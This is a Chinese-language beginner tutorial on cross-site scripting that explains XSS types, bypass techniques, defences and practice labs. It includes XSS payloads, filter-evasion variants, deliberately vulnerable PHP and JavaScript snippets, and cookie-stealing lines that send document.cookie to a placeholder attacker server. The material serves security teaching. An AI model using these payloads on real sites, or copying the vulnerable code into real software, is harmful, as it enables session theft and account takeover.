欢迎光临
我们一直在努力

如何从一名小白成为网安大神(第十八天)

一、学习XSS 漏洞

(一)什么是 XSS

XSS(跨站脚本攻击 Cross Site Scripting):攻击者将恶意 JS 代码注入网页,其他用户访问页面时,浏览器会执行这段恶意脚本,窃取用户信息、劫持会话、篡改页面等。核心原理:网站未过滤用户可控输入,直接输出到页面 HTML 中,浏览器分不清正常代码和恶意脚本。

XSS 三大分类

  • 存储型 XSS(持久型,危害最大)恶意代码存入服务器数据库,所有访问该页面的用户都会触发。场景:评论区、留言板、帖子、个人简介、商品评价。流程:攻击者提交恶意内容→存入数据库→普通用户打开页面→执行恶意 JS。

  • 反射型 XSS(非持久型)恶意代码放在 URL 参数里,服务器接收参数直接拼到页面,仅点击恶意链接的人受害。场景:搜索框、跳转页面、传参页面 ?search=xxx。流程:构造带恶意 JS 的 URL→诱导受害者点击→服务器带回参数渲染页面→执行脚本。

  • DOM 型 XSS(纯前端,不经过服务器回显)漏洞完全在前端 JS 代码,服务器不返回恶意代码,前端 JS 直接读取 URL、localStorage、cookie 等数据拼接 DOM。特点:抓包响应包看不到恶意脚本,靠前端代码渲染触发。场景:页面 URL 锚点#、前端渲染标题、跳转、展示本地存储数据。

  • (二)XSS 能实现哪些攻击效果

  • 窃取 Cookie(最常用):document.cookie
  • 窃取本地存储:localStorage /sessionStorage
  • 劫持页面、篡改页面内容、伪造登录框钓鱼
  • 盗取页面用户 token、手机号、个人信息
  • 转发请求,以受害者身份执行操作(发留言、改密码)
  • 键盘记录、截图、获取浏览器信息、IP
  • 配合 CSRF 完成越权操作
  • (三)基础 Payload(入门测试语句)

    1. 最简单弹窗测试(判断是否存在 XSS)

    <script>alert(1)</script>

    2. 绕过过滤变种(过滤 script 标签时用)

    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    <body onload=alert(1)>
    <a href=javascript:alert(1)>test</a>

    3. 不带括号(过滤 () 时)

    <script>alert`1`</script>
    <img src=x onerror=alert`1`>

    4. 编码绕过(URL 编码、HTML 实体编码)

    URL 编码 < = %3C > = %3E

    %3Cscript%3Ealert(1)%3C/script%3E

    5. 窃取 Cookie 核心 Payload

    <script>document.location='http://攻击者服务器?cookie='+document.cookie</script>
    <img src=x onerror="window.open('http://xxx.com/getcookie?c='+document.cookie)">

    攻击者搭建日志页面,接收 URL 携带的 cookie,即可拿到受害者会话凭证。

    (四)三类 XSS 实战案例演示

    案例 1:反射型 XSS

    页面源码:search.php

    <?php
    $key = $_GET['keyword'];
    echo "你搜索的内容:".$key;
    ?>

    无过滤,直接拼接输出。构造 URL:http://xxx.com/search.php?keyword=<script>alert(document.cookie)</script>打开页面直接弹出 cookie。

    案例 2:存储型 XSS

    留言页面,提交内容存入数据库,读取直接展示:

    // 提交写入数据库
    $msg = $_POST['msg'];
    insert into message(content) values($msg);

    // 展示留言
    $res = select content from message;
    echo $res['content'];

    提交内容:<svg onload=alert(1)>,任何人访问留言页都会弹窗。

    案例 3:DOM 型 XSS

    前端代码,读取 URL 锚点渲染页面标题,服务器无输出恶意代码:

    <script>
    let name = location.hash.slice(1);
    document.getElementById("title").innerHTML = name;
    </script>
    <div id="title"></div>

    构造链接:xxx.com/#<img src=x onerror=alert(1)>页面加载后前端 JS 读取 #后的内容渲染,触发 XSS。

    (五)常见过滤与绕过思路

  • 过滤<script>标签替换方案:img/svg/body/a 事件标签、javascript 伪协议
  • 过滤alert使用confirm()、prompt()、eval、fetch、window.open
  • 过滤括号()使用反引号 alert`1`
  • 过滤空格用/**/、%09制表符、%0a换行符代替空格<img/**/src=x/**/onerror=alert(1)>
  • 大小写过滤(只拦截小写 script)<SCRIPT>alert(1)</SCRIPT>
  • 转义 < > 但输出在 JS 标签内用\\、URL 编码、Unicode 编码绕过
  • WAF 拦截完整 payload拆分字符串拼接:eval('ale'+'rt(1)')
  • (六)XSS 防御方案(开发修复标准)

    1. 输入过滤(基础,不推荐单一依赖)

    黑名单不可靠,攻击者变种太多;优先白名单,只允许合法字符。

    2. 输出编码(最核心,分场景编码)

    不同输出位置使用对应转义函数:

  • 输出到 HTML 文本节点:转义 & < > " 'PHP:htmlspecialchars($str,ENT_QUOTES)
  • 输出到 JS 代码内:JS 转义,转义 \\ " ' < >
  • 输出到 URL 参数:URL 编码 urlencode()
  • 输出到 CSS:CSS 实体编码
  • 3. 安全 Cookie 防护(防止 Cookie 被窃取)

    设置 Cookie 两个关键属性:

    • HttpOnly:JS 无法读取 document.cookie,XSS 拿不到会话 cookie
    • Secure:仅 HTTPS 传输 cookie

    4. CSP 内容安全策略(终极防御)

    HTTP 响应头添加 CSP,限制页面只能加载信任域名的 JS,禁止内联脚本、eval 执行。示例头:

    plaintext

    Content-Security-Policy: default-src 'self'

    禁止javascript:伪协议、onerror/onload 事件、内联 script。

    5. 过滤危险 DOM 操作

    前端禁止使用innerHTML、document.write、eval;改用innerText纯文本渲染,不会解析 HTML 标签。

    (七)本地练习环境搭建(快速练手)

    1. 推荐靶场

  • DVWA(入门首选,包含存储 / 反射 DOM XSS,分难度)
  • WebGoat(官方安全靶场,详细 XSS 教程)
  • Pikachu(中文靶场,简单易懂)
  • XSS-labs(专门练 XSS 绕过,20 关过滤关卡)
  • PortSwigger Web Security Academy(Burp 官方靶场,进阶实战)
  • 2. 简易本地 PHP 测试页面(一键测试)

    新建xss.php,本地 phpstudy 运行:

    <?php
    $xss = $_GET['id'];
    echo "输入内容:".$xss;
    ?>

    访问 127.0.0.1/xss.php?id=<svg onload=alert(1)> 直接复现反射 XSS。

    (八)渗透测试 XSS 挖掘步骤

  • 找所有用户可控输入点:GET 参数、POST 表单、Cookie、Referer、User-Agent、上传文件名、留言、昵称
  • 插入基础 payload <script>alert(1)</script> 测试回显
  • 观察页面输出位置:HTML 标签内、JS 代码块、URL、CSS
  • 根据过滤规则尝试各类绕过 payload
  • 成功弹窗后,构造窃取 Cookie、数据窃取的完整攻击载荷
  • 验证是否 HttpOnly、CSP,判断漏洞危害等级
  • 赞(0)
    未经允许不得转载:171主机测评 » 如何从一名小白成为网安大神(第十八天)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址